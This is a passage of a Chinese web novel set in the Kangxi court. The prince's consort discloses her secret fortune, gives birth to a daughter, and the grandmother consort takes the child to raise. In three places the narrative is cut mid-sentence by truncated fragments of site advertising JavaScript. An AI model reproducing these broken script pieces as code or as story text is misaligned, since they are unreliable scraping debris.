“不是!不是说你完了,是我完了,”胤褆沮丧着一张脸,“之前我还想着赚钱养你,但是你有这么大一个商行,我还养个什么劲啊,怕是一辈子都比不上你一年赚得多。” “呃……别灰心?一辈子赚的,怎么也要够得上一年赚的,不对,话题都让你岔开了,我要说的不是这个事!” “你说吧,我听着呢。” “我私底下接触过一些传教士,学了些他们的语言,在其中了解到现在国外正处于大运动时期,只要有实力占据一块领地,并在后期能够守住,就可获得那块领地的所有权。” “这不就跟咱们这封王给封地,区别只在封地需要自己打一样嘛。” 舒禾点点头,“是这样没错,所以我想,你能不能也参一把手。” “我?” 话说到这里,胤褆也搞明白自家福晋的意思到底是什么了,他并没有第一时间驳斥这件事的不可能,而是开始认真思考这件事的可行性。 许久,胤褆抬起头,“舒禾,你说的话,可行性非常高,但前期积聚,至少需要十年时间。 一是我现在还没有出宫建府,诸事不便;二是我现在没钱没兵没粮,手底下可用之人不过三两只,成不了气候;三是,出海需要能够支撑长时间航行的船。” 说这话时,胤褆心里面很是没底,只因想要凑齐以上所有东西,十年他都是少说的了。 好比第二条,他手底下说是可用之人三两只,就那还是他刚从皇阿玛手里面撬出来,换成几天前,他手里面的人,别说三两只了,有一个都算是谢天谢地了。 “我有钱,盛京那边有地、有粮,人我也有,虽说没接受过军队内的锻炼,但好在个个身强体壮,至于出海的船……” 舒禾说到这里顿了顿,拿起一边的茶盏喝了一口水,才在胤褆迫切的目光下,不疾不徐的说道:“我手里面有一只出海的船队,船队中共有十条船,而每只船少说能够容纳两千人。” “舒、舒禾啊,我……我好像耳背了,居然听到你说你有十条船。” 傻傻呆呆的模样,引得舒禾噗嗤一声就笑了出来,手指捏捏胤褆腮帮,调侃道:“那我可能嘴瓢了,居然真的说了我有十条船。” “不对!”胤褆一个激灵反应过来,“我没耳背,你也没嘴瓢,所以你真的有十条船?” “真的有。” “也是真的有人、有钱、有粮!” “嗯哼~”舒禾耸耸肩,一脸的傲娇模样。 看的胤褆牙痒痒,想扑上去压住勾人的福晋亲个五、六、七八口,不过现在的情况,属实是不适合亲热。 克制住内心的欲望,歪歪扭扭的靠过去趴在舒禾身上,呐呐道:“舒禾啊,要不这皇子我不做了,给你入赘去吧。” “噗——咳咳咳咳!你说什么胡话呢!” 可真敢说啊,这话但凡被康熙知道了,她就要被拖出去砍头了! 胤褆拿着手帕帮舒禾擦了擦嘴角喷出来的水,一脸无辜的又重复了一遍方才所说的话。 说完后,还一脸不解地问道:“不就是说了个入赘嘛,有什么好激动的?” “呵呵,你这话让我阿玛额娘听到了,得当场跪下给你请罪,让皇阿玛听到了,我得当场被拖出去杖毙。” “只是嘴上说说,没有那么严重啦!” 舒禾闻言深深的看了胤褆一眼,咋地,嘴上说说都满足不了你了,还想实际实施啊? “以后,关于这方面的事,不许再提,尤其是在外人面前!” 听出了舒禾话里面特意强调得意思,胤褆点点头,“听你的,不过舒禾刚才说的那些,就是瞒着我的所有事了吗?” “也不算是瞒着,只是你不问,我不好说而已。” “如此,倒怪我不解风情,问的晚了。”说话间,胤褆手不老实地抓过舒禾放在桌上的手缓缓摩擦。 因着动作不大,且没有什么不适感,舒禾也就忽略了他的动作。 “怪不怪的另谈,梳妆台最右边的第一个抽屉,里面有我整理好的资料,你去拿来。” “资料?关于什么的……” 胤褆拿起被缝在一起的一摞纸,看着最上方的字样,一时间失语。 ‘逃跑计划’是个什么鬼? 捏着手里面的纸放到桌上,看着舒禾欲言又止止又欲言,“舒禾啊,你这……” 低头看一眼桌上的纸,“是要干什么?” “你看嘛,看完就知道了。”舒禾把玩着解下来的玉佩,漫不经心道。 就此,房间里面只剩下胤褆翻动纸张发出的声音。 一盏茶的功夫过后,胤褆一拍桌子站起身,“荒唐!你计划的时候,难道就没过跑早了我怎么办嘛!” “……你的关注点,还是一如既往的清奇。” 胤褆皱着眉头轻斥道:“别打岔,跟你说正经的呢,你怎么能那么早就计划离开大清,就不怕错过爷这个正缘吗? 还是,你觉得那些长着花花绿绿头发的外国人不错?” 舒禾闭上眼睛,只感觉一阵无力感传来,她就多余让胤褆看,她应该直接告诉他的。 那纸上那么多可取之处他不知道看,就逮着一个她故意伪造的时间搁这挑刺,真真是够了! 这边,胤褆见舒禾闭着眼睛不看自己,也后知后觉得感觉到了自己的无理取闹,抿了抿唇,小心翼翼地坐回去。 扯了扯舒禾的袖子,声音放软,“舒禾~” “唉—” 舒禾叹了一口气,睁开眼睛,摸了摸胤褆的大脑门,凑过去在上面亲了一口,拉过胤褆的手按在微鼓的小腹上。 “这个计划是废案,打从写出来那一刻我就没有想过实施,之所以保存下来,不过是里面有些可取之处。” 事实上,真正的计划书在宝石的匣子空间里,她根本就没有拿出来过,只拆分好分别交代给手底下的人实施。 “至于你方才说的,不过是假设,现实是,咱们两个结为了夫妻,再过六个月,还会有一个可爱的孩子,”舒禾抬眸直视胤褆的眼睛,声音坚定,“所以,我希望你以后不要说些子虚乌有的事,须知,有些言语是可以伤人的。” “我错了,我保证,绝对不会有下次了!”说着,胤褆竖起三根手指放到耳边,摆出一副发誓的模样。 姿势摆好了,唯一的观众却根本没看,胤褆咬咬牙,起身绕到舒禾面前,单膝跪下,抓住舒禾的手放到脸上,侧脸在上面蹭了蹭。 可怜巴巴地撒娇道:“舒禾,我知道错了,理理我么——” 看着胤褆这样作态,舒禾心早就软成一滩水了,伸手扶住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胤褆的胳膊拽了拽,“站起来。” 垂眸打掉单膝跪下时袍子上沾的灰,低声道:“这次就算了,计划书看完了吗?” “还没。” “那去看,看完放回原位。” 这东西不好往宫里面带,不小心暴露或者被人发现,容易生事端。 胤褆也知道这个道理,闻言点了点头,将看了一半就扔下的纸捡起来,重新看了起来。 这一看,就看了足足一个时辰,胤褆边看边记,待到看完,也记得差不多了。 将计划书放回原位,走到床榻处拨开纱幔,看着睡得脸红红的福晋,眼眸中尽是柔色。 转身走到门口处要了件披风,包住睡得正香的舒禾起身朝外走去。 “李阔,去正院说一声,爷和福晋先行回宫,今天下午叨扰了。” “是。” 正院正张罗着饭菜的苏晚清听到李阔的话,一愣,呐呐应道:“天色是不早了,劳烦公公等等,这边有些东西麻烦你带进去给大福晋。” “哎不麻烦不麻烦,夫人说笑了,这本就是奴才等的职责所在,你尽管收拾,其他不敢保证,但夫人准备的东西定会送到大福晋手里。” …… 胤褆等在马车上,看着源源不断从外边塞进来的东西,默默抱紧了怀里面的福晋,内心无助极了。 这要不是福晋额娘给的不得不带,他保准前脚走后脚扔,但是现在…… 扔是扔不得了,小心翼翼的收拢脚尖,给那些一个个被塞进来的小箱子、小包袱腾位置。 等外边的动静听了,胤褆打从心里面松了一口气,拉开车帘,对着苏晚清点了点头,“岳母,我这就带着舒禾回去了,您也回吧。” “等你们走了就回。” 闻言,胤褆也没说什么,只是给了李阔一个眼神,示意他可以走了。 随着李阔催马夫驾车的声音响起,马车动了,晃晃悠悠的马车、清脆的马蹄声,这些外物无一不令舒禾睡得更熟了几分。 这一睡,再醒,人直接就到了南三所时院子,舒禾抬手揉揉眼睛,低头看看身上的里衣,抬头看看周围熟悉的环境,扬声用干涩的声音唤道:“秋雨!” “福晋,奴婢在,可要喝点水?” “嗯,拿来吧。” 接过秋雨递过来的茶杯喝了一口水,润了润嗓子,方才低声问道:“保清呢?” “回福晋,爷在前院呢,可要着人去请?” “让冬至去,你跟我讲讲额娘都交代了什么。”她记得,回府时,是把秋雨留给了额娘了解情况。 “夫人说,马车颠簸,到底不够安全,让您没事少出宫,老老实实待在南三所养胎,想见的面,都攒着等到出宫建府后见。” 舒禾扯扯嘴角,昨天回宫,今天连下两道圣旨抄索额图和明珠的家,却是半分没有提到给胤褆封爵位。 可见,就算改变了一部分历史事件,也没有影响胤褆爵位的分封时间。 而按照原先的来,出宫建府,对于现在的胤褆太遥远了。 这些话不适合和其他人讲,舒禾摆摆手示意秋雨下去了,轻声唤道:“宝石,你在吗?” 【在呢!】宝石从花瓶里面钻出来,头顶着一片绿叶打了个哈欠,迷迷糊糊地飞到舒禾面前,【怎么了,今天出去玩得不开心?还是坦白不顺利?】 【根本就没玩,出宫了就直奔索额图府上,跟着他去了库房,看了一会抄家,又去了府上给胤褆看了点东西,再然后睡着莫名其妙就回来了。 一天下来,正事没干一点,光顾着跑了!】 【你这也不算是什么都没干。】 “嗯?” 【你锻炼了身体啊!】说这话时,宝石声音里面满满的笑意。 “呵——宝石,其他的不说,你现在可就在我面前呢,信不信我收拾你?” 【不……】宝石刚想反驳,就感应到胤褆走进了院门,立马咽下准备说的话,提醒道,【你家傻狗来了,我闪了。】 傻狗?家里面没养…… “舒禾,我来了!” 啧,好像确实养了。 31.生产 胤褆脸上带笑,快步走到床榻边坐下,眼睛亮晶晶地盯着舒禾,热烈且真诚的模样,看得舒禾恍惚了一瞬,旋即不好意思的挪开了视线。 掩饰般轻咳一声,“我睡着后直接就回来了,额娘她可有让你捎带什么回来?” “有啊,捎带的东西现在就堆在外边桌子上呢,我抱你去看。” 说着,胤褆身体前倾,一手环腰另一手穿过膝盖,一个用力就将好端端坐着的舒禾给抱了起来。 自然而然得引起了一声惊呼和垂在胸口的拳头,被打了,胤褆却像是吃了蜜一样,脸上的笑容变得更灿烂了几分。 嘴上更是讨巧道:“手打疼了没有,下次想动手,记得拿其他东西来,我皮糙肉厚不妨事,你手嫩,要是红了,可是要心疼的。” “谁心疼?你吗?” “当然,我的福晋自然是我心疼,”意识到什么,胤褆危险的眯了眯眼,“难不成舒禾还想让其他人心疼?” “啧,我想让其他人心疼还找不着人呢,行了,到地方了,放我下来。” “椅子上凉,直接坐我腿上就好。” 在舒禾略带无语的注视下,胤褆撇开视线,心里面自我催眠道:我抱着自己福晋天经地义——我抱着自己福晋…… “嘶——这这这!这里面怎么都是金子!” 舒禾一连开了好几个盒子,成功收获了胤褆目瞪口呆的表情,只见盒子里面的东西在烛火的映照下散发着澄澈的金光。 “喏,拿去玩吧。”舒禾抽出两根金条塞到胤褆手里面,一脸的不在意。 “舒禾啊,你老实告诉我,岳父他是不是贪了?” “……保清,你要是不会说话,可以不说。” 仿佛没看出怀里人的无语一般,胤褆正了正神色,“你老实告诉我,我不会告诉其他人的。” “没贪。” “啊?” 这反应…… 舒禾停下手上开盒子地动作,扭头看向胤褆眯了眯眼,“听到我阿玛没贪,你怎么好像很失望的模样?” “我还想着你阿玛贪了,我回头就禀告皇阿玛让他把我安排到兵部,和你阿玛一起贪呢。” 【真是大清第一大孝子啊!】 听到脑海中的声音,舒禾垂眸掩盖住眼里面的笑意,好巧不巧,她也是这么想的。 不过…… 【你不是走了吗?】 仗着胤褆看不见,宝石光明正大的坐在舒禾面前摆出一副嫌弃样,【嗐,别提了,跑到一半想起来有东西忘拿了。】 【那你现在拿。】拿了赶紧走。 成功领会到言外之意的宝石撇撇嘴,拿上忘在花瓶里面得晚饭,撅着屁股飞走了。 这一切只发生在几秒之间,是以胤褆丝毫没察觉到不对劲,还在感叹少了个发财的路子。 弄得舒禾在他怀里面听的那叫一个头昏脑胀,拿起一盒金子放到一边,“这一盒给你了,别念叨了。” “真的,我在尚书府上给出的建议,舒禾你认真考虑一下,我这边是认真的,只要你答应,咱们立马实行。” “你要是再说这不出气的话,就把金子还我。”尚书府上的事还提呢,是不给她扣上个迷惑皇子入赘的名头不好受吗? 有黄灿灿的金子做威胁,胤褆里面闭嘴。 身边没了人打扰,舒禾接下来的动作都快了不少。 盘点完所有盒子里面的金子后,又转而去拆那些小包袱,要说包袱里面是什么,它比金子还朴实无华,尽是一些小面额的银票,多是些五十、一百的。 一看就知道是让她用来在宫内打赏宫人的,舒禾仔细收好,准备找时间交给秋水。 她身边打赏人的活计安排,虽说每个人都干点,但要说管钱的是哪个,还得是秋水这个算数最好的。 在这宫里面,钱流水一样花,日子也流水一样过,时间很快就来到了六个月后。 没了争皇位的心思,胤褆也不在乎朝上那些大臣对自己得看法了。 被分到兵部后,每天卡着最晚的点去,卡着最早的点回,主打一个不想上班。 最近,更是因着孩子快出生了,直接找康熙告了一个月的假。 要说这假,康熙一开始是不同意的,你老子没事还奋斗在第一线呢,你就想退休守着老婆孩子了,哪有这样的道理? 可是,耐不住胤褆搞事的速度,最后还是同意了下来,当然,这里面少不了太子的友情赞助。 对此,胤褆也承了情,找准时间,给少了索额图这个钱袋子,手头有些捉襟见肘的胤礽送过去了一箱金子。 当时的场景,现在想想,胤褆还能乐得笑出声。 一箱子金子往太子面前一摆,太子登时就瞪大了眼睛,那表情,是他和太子作对了十多年都没见过的。 犹记得,太子见了金子,连话都说不好了。 说的什么呢,好像是——“大大大……大哥,你去贪污了?” 笑死他了,太子秒变结巴,不过这也侧面证明,当时他一看见那么多金子第一反应是老丈人贪污了很正常,毕竟,一般官员的俸禄,啧,也就那样。 还不等他大发慈悲地告诉太子真相,太子就自顾自得否定了自己前面说的话。 “不对,兵部就是一群穷光蛋凑一块,根本没有什么油水,连点军资都要户部批,就算是把兵部榨干你也贪不了这么多。” 胤礽皱着眉头思索片刻,想到什么,不可置信的看向他,“你动了你福晋嫁妆?” “昂!”不能明说这是福晋给自己零花钱的胤褆,直接就点头应了下来。 在他又自豪又骄傲的神情下,最后得到了三个字,“不要脸。” 面对太子这个评价,胤褆只想说:那又怎么了,爷不要脸有钱花还有福晋和孩子,你不要脸可是什么都没有! 哦,忘了,孩子还没出生,但也快了。 回忆到这里戛然而止,思绪回归,胤褆条件反射就找起了舒禾所在的位置。 找到后,胤褆死皮赖脸地赖在舒禾身边,将自己的手放在鼓起来的小腹上轻轻抚摸,和里面的小家伙打着招呼。 “再过几天你就该出生了,到时候可要乖乖地出来,要不然等你出来,我可是要揍你的。” 舒禾早已经看透胤褆是个什么样的人,闻言,轻笑一声,调侃道:“你也就嘴上厉害,等真的出来了,你怕是连抱都不敢抱。” “怎么可能,爷跟那些奶嬷嬷学过了,到时候肯定敢抱!”胤褆拍拍胸膛保证道。 “你啊,逞强是一等……呃……” “舒禾!你怎么了!”胤褆看着转瞬间脸色就变得苍白的人,忙喊道:“来人!去请太医!请太医!” 小腹处突然传来一阵疼痛感,紧跟着身下涌出一股液体,被科普过的舒禾知道自己这是要生了,深吸一口气,拉住胤褆的胳膊,“我这是要生了,你出去,让秋雨她们几个和准备好的产婆进来。” 因着胤褆方才地喊声而走进来的秋雨自然是听到了舒禾的话,面色一变,忙上前几步扶住舒禾,“福晋,奴婢扶您进准备好的产房。” 舒禾点点头,接着秋雨的力站起来朝外走去,还没走两步,就感觉一阵腾空感袭来,再反应过来,人已经被胤褆抱了起来。 “我抱福晋进去,前面带路,快!” “是!” 走出房间后,守在门口的一众人连忙跟上,朝预备好的产房走去。 胤褆弯腰将怀里面汗涔涔的人放到床上,不顾房间内站着的众人,一撩袍子,单膝跪到床边,抓住舒禾垂在身侧的手不停安抚摩擦。 “舒禾,你听我说舒禾,我就守在门外,你有什么你就喊知道吗?再小声我都能听到,你叫我,我肯定进来陪你。 说句丧气话,如果……如果到最后你觉得身体撑不住了,一定要说,大不了不要这个孩子,咱们两个还年轻,孩子以后还会有的,知道吗?” 在胤褆的絮叨下,舒禾眼里面逐渐弥漫开一层水雾,模糊了视线的同时也模糊了边际。 缓和了一下呼吸,强撑着声音不带出哭腔道:“我知道……你、你出去吧。” “太医还没来,我再待一会。” 话是这样说,胤褆到底是没待到太医来,只因听到风声的惠妃来了。 舒禾生产在即,胤褆不想婆媳两个因着自己在产房再闹出什么,伸手拨开脸上被汗湿的头发,低头在湿乎乎的脸上落下一吻,“我就在门口,你叫我,我就进来。” “嗯……”舒禾应了一声,眼眶中因阵痛而分泌出的生理性泪水化作一滴泪珠顺着眼角留下。 因着这滴泪,胤褆当场就不想走了,然后被等在外边的惠妃进来给拽了出去。 门外,顾忌着里面还在生产的舒禾,惠妃特意压低了声音斥道:“你看看你现在是什么样!你一直待在里面不出来,是觉得你福晋还不够打眼嘛!别忘了,作为第一个皇家儿媳怀孕,有多少人盯着你福晋生产!” “额娘,我……” 看着傻乎乎的儿子,惠妃深吸一口气,摆摆手,“你福晋这里我先盯着,你去换身衣服过来,一会生了,给你皇阿玛报喜可不能就这样去。” “额娘,我想陪着舒禾,你不知道,她浑身上下都被汗弄湿了,还、还在哭……” “啪!” “胤褆!清醒点,别搁这犯浑!去收拾你自己!” 胤褆抬手捂着被打的右脸,看看房门、再看看惠妃,眼神里面充满欲言又止,明显得还想说些什么。 最后却在惠妃再次扬起的巴掌、眼神的威逼下,灰溜溜地走了。 胤褆走后,惠妃看了一眼运转得井井有条的小院,就知道舒禾这是在生产前已经安排好了一应事务。 不过一应事务安排好了,不代表名头好使。 想着,惠妃给了随身而来的翠蕊一个眼神,翠蕊会意,上前两步问道:“这里的掌事宫女和掌事太监是谁?” 李凯和秋雨上前两步,对着惠妃行礼,“奴婢是这里的掌事宫女,旁边是这里的掌事太监。” “嗯,仔细盯着院里面的人,凡有鬼祟者,直接抓起来。” “是——” 惠妃说这句话也没有其他意思,只是给他们俩一个狐假虎威的借口,舒禾的命令对小院里面的人够用,对内务府派来接生的产婆却没有她的名头好使。 阵痛开始时,是正午,孩子出生时,却是凌晨,足足折腾了六个时辰这场生产才算是结束。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 期间,看着一盆盆从产房里面端出来的血水,胤褆脸色白得跟雪似得,浑然不似那曾经上过战场的人。 眼神无助地看着惠妃,唤道:“额娘……” 自己生的,一开口惠妃就知道他想干什么,眼都不抬就把他的话驳了回去,“不能进去,如果还想你福晋平安的话。” 又过了一会,胤褆没忍住问道:“房间里面一点声音都没有,舒禾是不是晕了过去?” “大喊大叫的浪费体力,她不叫,那是在保留体力,以便一会更好的生产。” “可是……” “闭嘴!” “哦。”胤褆委屈地垂眸,只觉没有福晋,整个人都不好了。 想着福晋,胤褆提起百分百的精神盯着房间内进进出出的人,只恨不得跟个人换了身份,进去看看福晋现在怎么样了。 以至于待到一切结束,看着被大红色襁褓包着抱出来孩子,精神一松竟然踉跄着后退了两步,若不是李阔就站在他身后,扶了他一把,就此摔了也说不准。 孩子抱出来前一直闭目养神,孩子抱出来刚睁开眼睛的惠妃:……这眼我就多余睁。 不再去看犯蠢的傻儿子,对抱着孩子茫然无措的奶娘招招手,“过来,让本宫看看。” 听到是叫自己的,奶娘激动的眼泪都快流出来了,刚才大阿哥那一退,弄得抱着孩子的她不上不下,一下子就被架到那了,现在叫她过去的惠妃,是个好人呐! 是个好人的惠妃摘下护甲,摸了摸小孩皱巴巴的脸,问道:“是格格还是阿哥?” 一出门就说过了性别的奶娘:“……回奶娘,是位格格。” “不错,翠宛,赏,”说完,环顾一圈,“负责接生的,一人百两银子,还有院中宫人,一应赏赐三月月俸。” “谢娘娘赏。” 看着额娘身边襁褓中孩子皱巴巴的脸,胤褆不可置信的眨了眨眼,不敢相信他和舒禾能生出这么丑是孩子。 震惊过后,按下想要立马进房陪福晋的心思,试探着道:“额娘,这孩子,你能不能……” “嗯?”话说到一半就没了,惠妃勉强从看孩子的十分注意力中分出两分注意力给胤褆。 胤褆不好意思地搓搓手,说出了他和舒禾早就打算好的事,“你能不能把孩子带去延禧宫养一个月再送回来。” 先一个月,后两个月……养长了,他就不信额娘还舍得送回来。 “胤褆,你刚才说了什么?你再说一遍!” “咳,就那啥嘛……” “想都别想!本宫都这么大年纪了,你让本宫给你养孩子,可真说得出来啊胤褆!” 翠水拽拽惠妃的袖子,凑过去小声道:“娘娘,您前段时间不是还说想要个女儿,如今,女儿没有,孙女却是正在眼前啊!” 听了翠水的话,惠妃轻咳一声,话锋一转,“想让本宫帮你养孩子也不是不行。” 万万没想到事情还有转机的胤褆一喜,“额娘你说,不管什么,我都答应!” “这孩子养了,就不能只养一个月,少说也要以年为单位养……”惠妃觑着胤褆的眼色,保守道:“六年起步。” 听到这个年数,胤褆内心一喜,这不是正中下怀嘛! 咳咳,胤褆啊胤褆,你现在可不能露出喜色,要是被看出来了,保不准额娘就反悔了。 因着克制内心喜意,胤褆面上的神情不由得有些扭曲,看得惠妃还以为他这是不想同意,当即改口,“六年不行,五年零十一个月二十九天也是可以的。” “没!没不同意!就是吧,皇阿玛那边……” “本宫去说!”惠妃大手一挥,浑不在意道。 “咳咳,那额娘您就把她抱走吧,我进去看看舒禾。” “行,生产完的女子最是多思,你平时多顾着点你福晋,烦心事少在她面前提,这孩子我就先抱走了,待到出了月子,孩子立住了,再抱着过来给舒禾看。” “嗯嗯,额娘您快走吧。”我已经迫不及待想要去见福晋了。 看出了胤褆的急迫,惠妃无奈地摇了摇头,对着方才自我介绍说是掌事公公的李凯招招手,“你,去乾清宫把孩子出生的消息送过去。” “是—” 吩咐完宫人给康熙送信,惠妃还想对着胤褆叮嘱两句,就见方才还在外边的胤褆已经不见了踪影。 “这老大,真真是越大越没有规矩。” 翠蕊笑着上前扶住惠妃,“要奴婢说,大阿哥没有规矩,也是娘娘您惯的。” “你也没规矩,都开始打趣本宫了,行了,把孩子抱过来,带着寻好的乳娘,打道回延禧宫。” 此刻,房间内,生产完的舒禾并没有睡着,并不是她不想睡,而是身上的疼痛感压得她睡不着,方才闭上眼睛,就被痛意给痛醒了。 是以,胤褆进来时,舒禾正双眼含泪看着虚空,脸上尽是生产过后的苍白。 胤褆绕开一群跪地的下人,接手床边嬷嬷手中的热毛巾,小心地擦掉舒禾额头上的细汗,“舒禾……” “保清?” 听着舒禾蚊呐般的声音,胤褆只感觉眼眶一酸,更不好受了,忙抬头憋回去眼中的眼泪,闷闷应道:“是我,我进来陪你。” 32.上门祝贺 大脑因为疼痛陷入宕机状态,整个人都处于空茫状态的舒禾,听到熟悉的声音,眨掉眼里面的眼泪,呆呆地问道:“你进来,其他人没有拦你吗?” 她依稀记得,这里是古代,不是现代? “一群奴才,敢拦爷,爷就把他们都送到内务府重造!” 舒禾愣了一会,恢复少许理智,弯唇无声笑笑,撑起一口气调侃道:“你这样无理取闹,以后谁还敢忠心耿耿的跟着你?” “没有就没有,爷有舒禾就够了,”胤褆伸手摸了摸舒禾苍白的脸,“刚才已经很累了吧,现在要睡会吗?” “睡不着。” “是因为疼吗?我让过来的太医给你开些止疼的药!” 透过昏黄的烛火,胤褆看到舒禾缓缓点了点头,当即就冲出房门抓住正在收拾医药箱,还没来得及走的李维,命令道:“止疼药,要一个月的。” 胤褆盘算的很好,妇人坐月子只做一个月,说明产后身体恢复需要一个月,那止疼的药按照这个时间期限来准没错。 但是他万万没想到的是,李维居然拒绝了他。 胤褆冷下脸看向李维,“你知道你在说什么吗?” 李维擦了擦额头上冒出的冷汗,一脸苦色,“大阿哥,不是微臣不给,而是这么大份量的止疼药,太医院不允许开。” 一个月份量的药,别说他了,太医院院判来了都不敢开。 “您要是真心想要,我这边能给您开五天的,五天后您若是还需要,我再给您开,您看可以吗?” “啧,就按你说的来吧,李阔,跟着他过去拿药。” 一番折腾下来,舒禾喝完止疼的汤药,瞬间就睡了过去。 天蒙蒙亮之际,守在舒禾身边的胤褆只听外边一阵吵闹,烦躁的睁开眼睛,打开房门就准备训斥这帮子不守规矩的宫人。 熟料,一打开房门就看到了老熟人梁九功,想到这是康熙身边的人,容不得他乱发脾气,胤褆好悬忍住了发脾气的冲动。 僵着一张脸走到梁九功面前,“梁九功,你来干什么?” “早朝时,皇上听闻大福晋产下一女的消息,龙颜大悦,一挥手就赐下诸多赏赐和名字,这次奴才来,是为了送这赐名的圣旨和赏赐。” 梁九功扬了扬手中的圣旨,在胤褆呆愣的目光下,施施然打开,念道:“伊尔根觉罗氏,自入宫以来,孝敬婆母、勤勉温婉,现更是为皇室新添一子,特赐下南海珍珠一盘、绫罗绸缎百匹、黄金……” 梁九功林林总总念了许久,久到胤褆都好奇这破圣旨是怎么记下这么多东西,以及他女儿名字到底是什么时候,梁九功总算是来了最关键的一句。 “赐名乌雅束。” 听到这个名字,胤褆低垂的头瞬间抬起,眼睛不可置信的瞪大。 这名字在满语中有优雅、高贵等含义,单看这两个是不错,但更多的是世人常规映像中对女子的各种要求。 而世人对女子多苛刻,他的女儿,他想给他最好的,就算是名字,亦如是。 在这孩子尚未出生前,他起了足有三页纸的名字,只等孩子降生,再与福晋好生商议这孩子叫什么好。 但到头,他皇阿玛知道了之后,直接把名字命名权给抢了!起的名字还不是他预想中那样! 这让胤褆怎么不烦、不生气。 只是官大一级压死人,他皇阿玛是皇帝,他一个光头阿哥,没权利说不。 胤褆对着乾清宫的方向叩首谢恩后,站起身,僵着一张脸接过圣旨,对梁九功扯开唇……算了,实在笑不出来。 环顾一圈,指了个稍微眼熟点的出来,“你,送人。” “是,”秋雨对梁九功笑笑,做了个请的手势,“梁公公,这边走。” 走出没多远,秋雨将准备好的红色荷包塞过去,看着梁九功比起刚才明显多了几分笑意的眼睛,弯了弯唇,“请梁公公沾沾喜气。” “哎!沾沾喜气好啊,行了,就送到这里吧,往后的路,咱家自己走。” 闻言,秋雨点点头,并没有与其争执什么,只是站在原地目送梁九功拐过这个弯再看不到人影才往回走。 回到小院,望着每个翘首以盼的宫人,秋雨垂眸,清了清嗓子,扬声道:“昨日!福晋平安生产,每个人都有功,是以,正院中人,每人赏三月月俸,旁的地方,每人赏一月月俸,沾沾喜气。” 外边的纷纷扰扰并没有打扰到在房中睡觉的舒禾,昨天一遭生产,她累得够呛,喝了止疼的药后,身体就陷入深度睡眠。 待到再次醒来,已是一天一夜之后。 期间,胤褆数次进来查看,最后急得叫了太医过来,也只得出一个睡着了的结论。 舒禾睁开眼睛时,胤褆恰好不在房内,在房内得是一直守着的秋雨,舒禾一睁开眼睛,秋雨就发觉并走了过来。 “福晋,可要吃点或喝点什么?” 舒禾张了张唇,想说些什么,却因为喉咙干涩而说不出话来。 秋雨见了,忙拿起一边的调羹,舀了水透过唇缝喂进去,一碗水喂完,还欲再喂时,舒禾撇开了头。 “够了,传膳。” “是。” 秋雨出去没一会,听到动静的胤褆就来了。 “舒禾!你醒了,身上还有没有不舒服的地方?传太医过来看看?” “不用,我感觉还好。” “那身体不舒服了,一定告诉我,咱们就住在这紫禁城中,其他不说,找太医绝对是一顶一的方便。” 也就是找太医方便了点,其他的方便不了一点,舒禾默默在心里面接道。 随后想到什么,问道:“孩子呢?” “我让额娘带走了。” “额娘可有说什么?” “额娘说,孩子让她带走,至少要在她那养六年。” 六年?舒禾在心里面盘算了一下,觉得还行,虽然和她预估的十年来说有点少,但还是那一句话,养久了有感情了,她不信到时候惠妃能说放手就放手。 至于为什么让惠妃养,倒也不是她不喜欢这个孩子,而是出月子后,不少计划都要正式开始,她属实是顾不上孩子。 孩子放在身边,奶嬷嬷带着,她有时间了逗逗,放到额娘那里,也是她有时间了逗逗。 两者相较,她更愿意孩子跟着惠妃,至少惠妃养孩子比她上心,而且亲妈妈,不用担心孩子被把持住,没了主见。 回望清朝历史,靠把持主子获得权利的奴才,可不少。 只是,当今还有一个顾虑,那就是康熙会同意惠妃将自己的孙女养在身边吗? 舒禾偏头看向胤褆,“额娘想养,就让她养着好了,反正都住在这宫里,随时都能去看孩子,只是、皇阿玛那边……” “额娘说,皇阿玛那边交给她,”说起皇阿玛,胤褆就想起了那个槽心的名字,抬手按了按眉心,吐槽道:“皇阿玛也不知道是不是闲得,居然直接把咱们女儿的名字给起了,要是好听也就算了,结果还不好听,我……” 听了半天没听到重点,舒禾不得不打断道:“所以,赐下的名字是什么?” “乌雅束,有优雅、高贵的意思,但更多得是对女性的束缚,我不喜欢,咱们两个的第一个孩子,我希望她拥有的一切,都是最好的。 所以,我给她起了个小名。” 说到这里,胤褆猛地顿住,一双眼睛亮晶晶的盯着舒禾,写满了快问我快问我。 可爱的气息扑面而来,舒禾勾唇笑,配合着问道:“那小名是什么?” “哈拉,意为星星,璀璨夺目,我们的孩子,以后一定会是人群中最耀眼的那个!” “会的。”按照她的规划,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们两个这辈子只会有这么一个孩子,以后什么都由她继承,想不璀璨夺目都难。 至于胤褆愿不愿意,她管他呢! 垂眸敛下眼中疯狂悦动的野心,一只手伸向胤褆,“扶我起来靠靠。” “嗯……不对,太医说了你需要静养,”胤褆收回伸到一边的手,“舒禾乖,咱能躺着就躺着,不要紧的事让宫人干就完了,至于要紧的事,以后日子还长,不急在这一会。” “……我真是谢谢你这么关心我了。” “嘿嘿,不客气,这都是应该的,谁让咱们两个是一家人呢。” 无语望天,胤褆到底什么时候能听懂她说的是反话啊? “福晋,爷,饭菜提过来了,两位看?”秋雨害怕贸贸然进去会打扰两位得相处,是以远远站在屏风外禀告。 “提进来。” 命令下达后,秋雨并没有应声,而是对着身后招招手,示意提着膳食的那些人,可以进来了。 因着舒禾不方便起身下床,桌子被抬在离床不远的地方,满满一大桌子汤菜就那样静静地摆着,光是看着,就能让人丧失食欲。 没错,就是食欲! 舒禾偏头看着一桌子清汤寡水的菜,只感觉一阵胃疼,余光扫见胤褆看好戏的眼神,眯了眯眼。 “保清,你会陪我一起吃的,对吧?” “其实……” “嗯?” “咳咳,我是说,我当然会陪你一起吃了,呵呵、呵呵。” 在胤褆尴尬地笑声中,舒禾温柔地笑了笑,对着准备布菜的秋雨扬起一只手,“扶我起来。” “是。”秋雨快步走到床边,将两个软枕放到床边,随后就准备扶舒禾起来。 “等等,太医说,不宜运动,需静养,你现在这样,弄坏了你家主子的身子,该如何?” 秋雨扯着唇角解释道:“爷,静养是卧床养着,并不是说一动不能动,要不然人也受不了不是?” “哦哦,那你扶吧。” 在秋雨的帮助下,舒禾成功坐了起来。 和胤褆一起吃了一顿虽然看起来不怎么样,但色香味俱全的月子餐后,舒禾成功感觉到困了。 